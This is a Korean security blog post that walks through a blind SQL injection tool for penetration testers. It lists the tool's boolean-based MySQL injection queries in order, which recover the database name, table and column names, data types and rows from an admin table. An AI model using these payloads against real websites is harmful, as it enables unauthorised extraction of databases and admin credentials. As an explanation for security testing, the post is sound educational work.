'blind sql injection 툴'에 해당되는 글 1건

반응형

내가 분석하고 하는 Bind SQL Injection Tool은 많이들 사용하는 [Blind SQL Injection for Pentration Teser v2.0.0 build 603 Beta 1] 이다.

참고 ) http://n3015m.tistory.com



1. 기본적인 툴 사용법

① URL 부분에는 SQL Injection을 진행할 URL을 적어주면 된다.

② DBMS에는 해당 사이트의 DBMS를 선택해주면 된다. (MSSQL, MYSQL, ORACLE)

③ POST인지 아닌지 체크 후 POST라면 POST 탭에 파라미터와 그 값을 넣어주면 된다.

④ Blind SQL Injection을 AND로 진행할지 OR로 진행할지 고르면 된다.

⑤ MATCH 부분은 값이 True일 때 서버의 응답 중 어떤 것으로 판단할지 적어주면 된다.

⑥ Append Text End Of Query는 쿼리 작성 후 마지막에 무엇을 써줄지 적어주면 된다. 나와있듯이 보통 주석처리를 적어준다.


DB,USR,AUTH,VER 부분 중 확인하고자 하는 것을 체크 후 Initialize Injection을 눌러준다. DB는 Default로 체크되어있다. 왜냐하면 추후 TABLE NAME을 확인할 때 사용하여야 하기 때문이다.



2. DB명 확인

 * 공격순서 및 공격쿼리

  1) DB명 길이 확인

- idx=21726+AND+length(database())>1--

- idx=21726+AND+length(database())>2--

- idx=21726+AND+length(database())>4-- (2배씩 증가하다 응답이 false이면 범위를 좁혀 DB명 길이 확인)

...

  2) DB명 한글자씩 확인

- idx=21726+AND+ascii(substring(database(),1,1))>78--

- idx=21726+AND+ascii(substring(database(),1,1))>102-- (위와 동일하게 범위를 좁혀가며 첫번째 글자 확인)

- idx=21726+AND+ascii(substring(database(),2,1))>78-- ( 두번째 글자를 위와 동일한 방식으로 확인.. 이렇게 하여 모든 DB명 확인)



3. TABLE NAME 확인

 - DB명을 뽑아냈다면 TABLE NAME 부분의 CRACK 버튼을 누를 수 있다. 


 * 공격순서 및 공격쿼리

  1) 테이블명 중 가장 길이가 긴 길이 확인

idx=21726+AND+(select+length(table_name)+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65+order+by+length(table_name)desc+limit+0,1)>2--

설명) 

 - 0x42415345205441424C45 : BASE TABLE → DB Owner가 생성한 TABLE만 조회하기 위해 사용

 - 0x69705f6c6f675f7461626c65 : ip_log_table (DB명) → 해당 DB의 테이블을 확인하기 위해 사용


  2) 테이블 갯수 확인

idx=21726+AND+(select+count(table_name)+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65)>2--


  3) 첫번째 테이블명의 길이 확인

idx=21726+AND+(select+length(table_name)+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65+limit+0,1)>5--


  4) 첫번째 테이블명 획득

idx=21726+AND+(select+ascii(substring(table_name,1,1))+from+information_schema.tables+where+table_type=0x42415345205441424C45+and+table_schema=0x69705f6c6f675f7461626c65+limit+0,1)>78--

 - ascii(substring(table_name,1,1)의 첫번째 1을 2,3,4 순서로 길이만큼 올리면 된다.


 5) 반복

  - 테이블명 길이의 마지막 limit의 0이었던 부분을 1,2,3 순서로 올리면 된다.

  - 반복해서 테이블명을 획득


 6) 데이터 갯수 확인

idx=21726+AND+(select+count(*)+from+ip_table)>2--

 - 획득한 Table_Name을 from 뒤에 넣어 각 테이블의 데이터 갯수를 뽑아낸다.



4. COLUMN NAME 확인

 * 공격순서 및 공격쿼리

  1) 각 테이블 중 컬럼명의 가장 긴 길이를 확인

idx=21726+AND+(select+length(column_name)from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+order+by+length(column_name)+desc+limit+0,1)>2--


  2) 각 테이블의 컬럼 갯수 확인

idx=21726+AND+(select+count(*)+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65)>2--


  3) 테이블에 해당하는 컬럼명 획득

① 첫번째 컬럼명의 길이 획득

idx=21726+AND+(select+length(column_name)+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)>1--


② 첫번째 컬럼명 획득

idx=21726+AND+(select+ascii(substring(column_name,1,1))+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)>78--

 - column_name 뒤의 숫자를 획득시켜주면 된다.


  4) 데이터 타입 확인

① data_type의 각 자리의 ascii값 확인

idx=21726+AND+(select+ascii(substring(data_type,1,1))+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)>105--


② 얻은 값을 통해 확인작업

idx=21726+AND+(select+data_type+from+information_schema.columns+where+table_name=0x61646d696e5f7461626c65+limit+0,1)=0x696e74--


  5) 반복

 - 3)과 4)의 limit 뒤의 0을 1,2,3 순서로 증가시키면 된다.



5. DATA 확인

 * 공격순서 및 공격쿼리

  1) 해당 테이블과 컬럼명을 이용하여 각 데이터의 길이 확인

idx=21726+AND+(select+length(id)from+.admin_table+limit+0,1)>2--


  2) 각 데이터 획득

idx=21726+AND+(select+ascii(substring(id,1,1))+from+.admin_table+limit+0,1)>126--


반응형

'Hacking > Web' 카테고리의 다른 글

[SuNiNaTaS] 22번 문제  (0) 2018.05.10
sql injection using md5  (0) 2018.05.09
Padding Oracle Attack  (0) 2018.05.01
자바스크립트 난독화  (0) 2018.05.01
보안진단 크롬 플러그인  (0) 2018.04.17
블로그 이미지

rootable

,